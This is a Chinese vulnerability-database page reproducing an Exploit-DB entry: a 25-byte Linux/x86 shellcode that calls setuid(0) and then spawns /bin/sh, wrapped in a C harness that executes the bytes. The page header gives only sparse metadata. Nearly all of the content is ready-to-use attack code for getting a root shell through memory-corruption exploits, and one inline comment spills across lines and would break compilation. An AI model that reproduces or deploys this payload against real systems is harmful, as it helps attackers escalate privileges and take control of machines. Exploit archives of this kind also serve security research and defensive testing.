Linux/x86 - setuid(0) + execve(/bin/sh,0) Shellcode (25 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057931 漏洞类型
发布时间 2009-06-23 更新时间 2009-06-23
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/43651
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#include <stdio.h>

const char shellcode[]=
	"\x6a\x17"		// push	$0x17
	"\x58"			// pop	%eax
	"\x31\xdb"		// xor	%ebx,%ebx
	"\xcd\x80"		// int	$0x80

	"\xb0\x0b"		// mov	$0xb,%al (So you'll get segfault   if it's not able
to do the setuid(0). If you don't want this you can write "\x6a\x0b\x58"
instead of "\xb0\x0b", but the shellcode will be 1 byte longer
	"\x99"			// cltd
	"\x52"			// push	%edx
	"\x68\x2f\x2f\x73\x68"	// push	$0x68732f2f
	"\x68\x2f\x62\x69\x6e"	// push	$0x6e69622f
	"\x89\xe3"		// mov	%esp,%ebx
	"\xcd\x80";		// int	$0x80

int main()
{
	printf	("\n[+] Linux/x86 setuid(0) & execve(/bin/sh,0)"
		"\n[+] Date: 23/06/2009"
		"\n[+] Author: TheWorm"
		"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
	(*(void (*)()) shellcode)();
	return 0;
}